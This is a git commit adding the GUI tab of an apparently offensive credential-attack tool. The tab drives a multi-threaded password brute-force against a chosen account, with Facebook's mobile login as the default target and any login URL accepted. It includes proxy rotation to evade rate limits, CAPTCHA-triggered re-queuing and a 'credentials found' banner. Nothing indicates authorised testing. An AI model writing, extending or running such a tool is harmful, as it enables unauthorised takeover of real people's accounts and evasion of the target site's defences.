Add full application source
This commit is contained in:
490
src/gui/attack_tab.py
Normal file
490
src/gui/attack_tab.py
Normal file
@@ -0,0 +1,490 @@
|
||||
"""
|
||||
Attack Terminal Tab — multi-proxy credential attack against any login URL.
|
||||
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
|
||||
"""
|
||||
import logging
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from typing import Callable, Optional
|
||||
|
||||
import customtkinter as ctk
|
||||
|
||||
from src.gui.theme import CyberpunkTheme
|
||||
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
|
||||
from src.attack.login_client import SiteConfig
|
||||
from src.proxy.pool import ProxyPool
|
||||
from src.utils.file_io import load_passwords, count_lines
|
||||
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
|
||||
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
|
||||
|
||||
|
||||
class AttackTab(ctk.CTkFrame):
|
||||
|
||||
def __init__(self, parent, proxy_pool: ProxyPool,
|
||||
status_callback: Optional[Callable] = None,
|
||||
attempt_logger=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.proxy_pool = proxy_pool
|
||||
self.status_callback = status_callback
|
||||
self.orchestrator = AttackOrchestrator(
|
||||
proxy_pool, logger_instance=attempt_logger)
|
||||
self._build_ui()
|
||||
|
||||
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
|
||||
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
|
||||
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
|
||||
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
|
||||
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
|
||||
|
||||
# ── Build ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def _build_ui(self):
|
||||
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
|
||||
ctk.CTkLabel(self,
|
||||
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
|
||||
|
||||
self._build_target_bar()
|
||||
self._build_speed_panel()
|
||||
self._build_stats_panel()
|
||||
self._build_progress_bar()
|
||||
self._build_control_buttons()
|
||||
self._build_live_log()
|
||||
self._update_periodic()
|
||||
|
||||
# ── Target bar (URL + username + counters) ────────────────────────────────
|
||||
|
||||
def _build_target_bar(self):
|
||||
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
bar.pack(fill="x", padx=15, pady=(0, 8))
|
||||
|
||||
# Row 1 — target URL
|
||||
row1 = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
row1.pack(fill="x", padx=12, pady=(10, 4))
|
||||
|
||||
ctk.CTkLabel(row1, text="Target URL:",
|
||||
font=("Consolas", 11),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
width=100, anchor="w").pack(side="left")
|
||||
|
||||
self.url_entry = ctk.CTkEntry(
|
||||
row1, placeholder_text=_FB_LOGIN_URL,
|
||||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||
width=480)
|
||||
self.url_entry.insert(0, _FB_LOGIN_URL)
|
||||
self.url_entry.pack(side="left", padx=(0, 12))
|
||||
CyberpunkTheme.apply_focus_glow(self.url_entry)
|
||||
|
||||
ctk.CTkLabel(row1, text="Form fields user:",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||||
self.field_user_entry = ctk.CTkEntry(
|
||||
row1, width=80, placeholder_text="email",
|
||||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||||
self.field_user_entry.insert(0, "email")
|
||||
self.field_user_entry.pack(side="left", padx=(0, 8))
|
||||
|
||||
ctk.CTkLabel(row1, text="pass:",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||||
self.field_pass_entry = ctk.CTkEntry(
|
||||
row1, width=80, placeholder_text="pass",
|
||||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||||
self.field_pass_entry.insert(0, "pass")
|
||||
self.field_pass_entry.pack(side="left")
|
||||
|
||||
# Row 2 — username/email + counters
|
||||
row2 = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
row2.pack(fill="x", padx=12, pady=(0, 10))
|
||||
|
||||
ctk.CTkLabel(row2, text="Username / Email:",
|
||||
font=("Consolas", 11),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
width=140, anchor="w").pack(side="left")
|
||||
|
||||
self.email_entry = ctk.CTkEntry(
|
||||
row2, placeholder_text="target@example.com",
|
||||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
|
||||
self.email_entry.pack(side="left", padx=(0, 20))
|
||||
CyberpunkTheme.apply_focus_glow(self.email_entry)
|
||||
|
||||
self.pwd_count_label = ctk.CTkLabel(
|
||||
row2, text="Wordlist: 0",
|
||||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.pwd_count_label.pack(side="left", padx=(0, 18))
|
||||
|
||||
self.proxy_count_label = ctk.CTkLabel(
|
||||
row2, text="Proxies: 0",
|
||||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.proxy_count_label.pack(side="left", padx=(0, 18))
|
||||
|
||||
self.captcha_label = ctk.CTkLabel(
|
||||
row2, text="CAPTCHAs: 0",
|
||||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.captcha_label.pack(side="left")
|
||||
|
||||
# ── Speed panel ───────────────────────────────────────────────────────────
|
||||
|
||||
def _build_speed_panel(self):
|
||||
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
panel.pack(fill="x", padx=15, pady=(0, 8))
|
||||
|
||||
hdr = ctk.CTkFrame(panel, fg_color="transparent")
|
||||
hdr.pack(fill="x", padx=12, pady=(8, 4))
|
||||
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
|
||||
font=("Consolas", 11, "bold"),
|
||||
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
|
||||
|
||||
inner = ctk.CTkFrame(panel, fg_color="transparent")
|
||||
inner.pack(fill="x", padx=12, pady=(0, 10))
|
||||
|
||||
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
|
||||
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
width=160, anchor="w").pack(side="left")
|
||||
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
|
||||
variable=var, width=170,
|
||||
fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||
progress_color=CyberpunkTheme.PRIMARY,
|
||||
button_color=CyberpunkTheme.PRIMARY,
|
||||
button_hover_color=CyberpunkTheme.SECONDARY)
|
||||
sl.pack(side="left", padx=(0, 6))
|
||||
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY, width=48)
|
||||
val_lbl.configure(text=f"{int(default)}{unit}")
|
||||
val_lbl.pack(side="left", padx=(0, 24))
|
||||
sl.configure(command=lambda v, l=val_lbl, u=unit:
|
||||
l.configure(text=f"{int(float(v))}{u}"))
|
||||
return sl
|
||||
|
||||
row1 = ctk.CTkFrame(inner, fg_color="transparent")
|
||||
row1.pack(fill="x", pady=(0, 6))
|
||||
|
||||
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
|
||||
_slider_group(row1, "Workers (threads):", self.workers_var,
|
||||
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
|
||||
|
||||
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
|
||||
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
|
||||
1, 20, 19, PROXY_ROTATION_EVERY, "req")
|
||||
|
||||
row2 = ctk.CTkFrame(inner, fg_color="transparent")
|
||||
row2.pack(fill="x")
|
||||
|
||||
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
|
||||
_slider_group(row2, "Delay min (s):", self.delay_min_var,
|
||||
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
|
||||
|
||||
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
|
||||
_slider_group(row2, "Delay max (s):", self.delay_max_var,
|
||||
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
|
||||
|
||||
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
width=90, anchor="w").pack(side="left")
|
||||
self.timeout_entry = ctk.CTkEntry(
|
||||
row2, width=64,
|
||||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
|
||||
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
|
||||
self.timeout_entry.pack(side="left")
|
||||
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
|
||||
|
||||
# ── Stats panel ───────────────────────────────────────────────────────────
|
||||
|
||||
def _build_stats_panel(self):
|
||||
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
stats.pack(fill="x", padx=15, pady=(0, 8))
|
||||
inner = ctk.CTkFrame(stats, fg_color="transparent")
|
||||
inner.pack(fill="x", padx=12, pady=8)
|
||||
|
||||
def _stat(text, color):
|
||||
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
|
||||
text_color=color)
|
||||
l.pack(side="left", padx=(0, 22))
|
||||
return l
|
||||
|
||||
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
|
||||
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
|
||||
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
|
||||
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
|
||||
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
|
||||
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
|
||||
|
||||
row2 = ctk.CTkFrame(stats, fg_color="transparent")
|
||||
row2.pack(fill="x", padx=12, pady=(0, 6))
|
||||
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
|
||||
self.current_pwd_label = ctk.CTkLabel(
|
||||
row2, text="—", font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.PRIMARY)
|
||||
self.current_pwd_label.pack(side="left", padx=(0, 14))
|
||||
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
|
||||
self.current_proxy_label = ctk.CTkLabel(
|
||||
row2, text="—", font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.current_proxy_label.pack(side="left")
|
||||
|
||||
def _build_progress_bar(self):
|
||||
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
pf.pack(fill="x", padx=15, pady=(0, 8))
|
||||
inner = ctk.CTkFrame(pf, fg_color="transparent")
|
||||
inner.pack(fill="x", padx=12, pady=8)
|
||||
self.progress_bar = ctk.CTkProgressBar(
|
||||
inner, fg_color=CyberpunkTheme.BG_DARK,
|
||||
progress_color=CyberpunkTheme.PRIMARY,
|
||||
height=18, corner_radius=4)
|
||||
self.progress_bar.pack(fill="x", expand=True)
|
||||
self.progress_bar.set(0)
|
||||
self.progress_text = ctk.CTkLabel(
|
||||
inner, text="0.0% (0 / 0)",
|
||||
font=("Consolas", 10, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY)
|
||||
self.progress_text.pack(pady=(3, 0))
|
||||
|
||||
def _build_control_buttons(self):
|
||||
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
bf.pack(fill="x", padx=15, pady=(0, 8))
|
||||
inner = ctk.CTkFrame(bf, fg_color="transparent")
|
||||
inner.pack(padx=12, pady=10)
|
||||
|
||||
self.start_btn = CyberpunkTheme.create_neon_button(
|
||||
inner, text="▶ START", command=self._on_start,
|
||||
color=CyberpunkTheme.SUCCESS,
|
||||
width=160, height=40, font=("Consolas", 14, "bold"))
|
||||
self.start_btn.pack(side="left", padx=(0, 12))
|
||||
|
||||
self.pause_btn = CyberpunkTheme.create_neon_button(
|
||||
inner, text="⏸ PAUSE", command=self._on_pause,
|
||||
color=CyberpunkTheme.WARNING,
|
||||
width=120, height=40, font=("Consolas", 14, "bold"))
|
||||
self.pause_btn.pack(side="left", padx=(0, 12))
|
||||
self.pause_btn.configure(state="disabled")
|
||||
|
||||
self.stop_btn = CyberpunkTheme.create_neon_button(
|
||||
inner, text="⏹ STOP", command=self._on_stop,
|
||||
color=CyberpunkTheme.ERROR,
|
||||
width=120, height=40, font=("Consolas", 14, "bold"))
|
||||
self.stop_btn.pack(side="left")
|
||||
self.stop_btn.configure(state="disabled")
|
||||
|
||||
self.state_label = ctk.CTkLabel(
|
||||
inner, text="◈ IDLE",
|
||||
font=("Consolas", 15, "bold"),
|
||||
text_color=CyberpunkTheme.TEXT_DIM, width=160)
|
||||
self.state_label.pack(side="right", padx=(22, 0))
|
||||
|
||||
def _build_live_log(self):
|
||||
ctk.CTkLabel(self, text="> LIVE LOG",
|
||||
font=("Consolas", 12, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
|
||||
self.log_text = ctk.CTkTextbox(
|
||||
self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_color=CyberpunkTheme.BORDER,
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||
font=("Consolas", 11), border_width=1)
|
||||
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
|
||||
self.log_text.insert("end",
|
||||
"[SYSTEM] Ready.\n"
|
||||
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
|
||||
"[SYSTEM] 2. Enter username/email\n"
|
||||
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
|
||||
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
|
||||
"[SYSTEM] 5. Press START\n")
|
||||
self.log_text.configure(state="disabled")
|
||||
|
||||
# ── Speed → orchestrator ─────────────────────────────────────────────────
|
||||
|
||||
def _apply_speed_settings(self):
|
||||
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
|
||||
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
|
||||
self.orchestrator.delay_min = float(self.delay_min_var.get())
|
||||
self.orchestrator.delay_max = max(
|
||||
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
|
||||
try:
|
||||
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
|
||||
except ValueError:
|
||||
self.orchestrator.request_timeout = 20
|
||||
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
|
||||
|
||||
def _build_site_config(self) -> SiteConfig:
|
||||
url = self.url_entry.get().strip() or _FB_LOGIN_URL
|
||||
user_field = self.field_user_entry.get().strip() or "email"
|
||||
pass_field = self.field_pass_entry.get().strip() or "pass"
|
||||
|
||||
if "facebook.com" in url or "fb.com" in url:
|
||||
from urllib.parse import urlparse
|
||||
cfg = SiteConfig()
|
||||
cfg.login_url = url
|
||||
cfg.username_field = user_field
|
||||
cfg.password_field = pass_field
|
||||
return cfg
|
||||
|
||||
# Generic site
|
||||
cfg = SiteConfig.for_url(url)
|
||||
cfg.username_field = user_field
|
||||
cfg.password_field = pass_field
|
||||
return cfg
|
||||
|
||||
# ── Button handlers ───────────────────────────────────────────────────────
|
||||
|
||||
def _on_start(self):
|
||||
username = self.email_entry.get().strip()
|
||||
if not username:
|
||||
self._log("ERROR: Enter a target username/email first")
|
||||
return
|
||||
|
||||
passwords = load_passwords()
|
||||
if not passwords:
|
||||
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
|
||||
return
|
||||
|
||||
if self.proxy_pool.available_count == 0:
|
||||
self._log("WARNING: No proxies committed — attack will run without proxies")
|
||||
|
||||
self._apply_speed_settings()
|
||||
site_cfg = self._build_site_config()
|
||||
self.orchestrator.configure(username, passwords, site_cfg)
|
||||
self.orchestrator.start()
|
||||
|
||||
self.start_btn.configure(state="disabled")
|
||||
self.pause_btn.configure(state="normal")
|
||||
self.stop_btn.configure(state="normal")
|
||||
|
||||
w = self.orchestrator.max_workers
|
||||
url = site_cfg.login_url
|
||||
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
|
||||
self._log(f" Target: {url}")
|
||||
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
|
||||
|
||||
def _on_pause(self):
|
||||
if self.orchestrator.is_running:
|
||||
self.orchestrator.pause()
|
||||
self.pause_btn.configure(text="▶ RESUME")
|
||||
self._log("⏸ Attack paused")
|
||||
self._notify("Attack PAUSED")
|
||||
elif self.orchestrator.is_paused:
|
||||
self.orchestrator.resume()
|
||||
self.pause_btn.configure(text="⏸ PAUSE")
|
||||
self._log("▶ Attack resumed")
|
||||
self._notify("Attack RUNNING")
|
||||
|
||||
def _on_stop(self):
|
||||
self.orchestrator.stop()
|
||||
self.start_btn.configure(state="normal")
|
||||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||
self.stop_btn.configure(state="disabled")
|
||||
self._log("⏹ Attack stopped")
|
||||
self._notify("Attack STOPPED")
|
||||
|
||||
# ── Orchestrator callbacks ────────────────────────────────────────────────
|
||||
|
||||
def _on_stats_update(self, stats: AttackStats):
|
||||
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
|
||||
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
|
||||
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
|
||||
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
|
||||
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
|
||||
|
||||
e = int(stats.elapsed_seconds)
|
||||
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
|
||||
|
||||
self.current_pwd_label.configure(text=stats.current_password or "—")
|
||||
self.current_proxy_label.configure(text=stats.current_proxy or "—")
|
||||
|
||||
progress = self.orchestrator.progress / 100
|
||||
self.progress_bar.set(progress)
|
||||
total_pw = len(self.orchestrator.passwords)
|
||||
self.progress_text.configure(
|
||||
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
|
||||
|
||||
self.pwd_count_label.configure(
|
||||
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
|
||||
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||||
self.captcha_label.configure(
|
||||
text=f"CAPTCHAs: {stats.captchas_hit}",
|
||||
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
|
||||
else CyberpunkTheme.TEXT_DIM))
|
||||
|
||||
if stats.current_password:
|
||||
self._notify(
|
||||
f"Trying: {stats.current_password[:24]} · "
|
||||
f"{stats.attempts_per_second:.1f} r/s · "
|
||||
f"{stats.active_workers} workers")
|
||||
|
||||
def _on_log_entry(self, entry: dict):
|
||||
ts = datetime.now().strftime("%H:%M:%S")
|
||||
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
|
||||
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
|
||||
|
||||
def _on_success(self, password: str, proxy: str, result):
|
||||
banner = (
|
||||
"\n" + "═" * 56 + "\n"
|
||||
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
|
||||
f" PASSWORD : {password}\n"
|
||||
f" PROXY : {proxy}\n"
|
||||
"═" * 56 + "\n"
|
||||
)
|
||||
self._log(banner)
|
||||
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
|
||||
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||||
self._notify(f"*** PASSWORD FOUND: {password} ***")
|
||||
|
||||
def _on_captcha_hit(self, proxy: str):
|
||||
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
|
||||
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
|
||||
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||||
|
||||
def _on_state_change(self, state: AttackState):
|
||||
colors = {
|
||||
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
|
||||
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
|
||||
AttackState.PAUSED: CyberpunkTheme.WARNING,
|
||||
AttackState.STOPPED: CyberpunkTheme.ERROR,
|
||||
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
|
||||
}
|
||||
self.state_label.configure(
|
||||
text=f"◈ {state.value.upper()}",
|
||||
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
|
||||
if state in (AttackState.COMPLETED, AttackState.STOPPED):
|
||||
self.start_btn.configure(state="normal")
|
||||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||
self.stop_btn.configure(state="disabled")
|
||||
|
||||
# ── Helpers ───────────────────────────────────────────────────────────────
|
||||
|
||||
def _log(self, message: str):
|
||||
self.log_text.configure(state="normal")
|
||||
self.log_text.insert("end", message + "\n")
|
||||
self.log_text.see("end")
|
||||
self.log_text.configure(state="disabled")
|
||||
|
||||
def _notify(self, msg: str):
|
||||
if self.status_callback:
|
||||
self.status_callback(msg)
|
||||
|
||||
def _update_periodic(self):
|
||||
try:
|
||||
pwd_count = count_lines(PASSWORDS_FILE)
|
||||
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
|
||||
except Exception:
|
||||
pass
|
||||
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||||
self.after(2000, self._update_periodic)
|
||||
Reference in New Issue
Block a user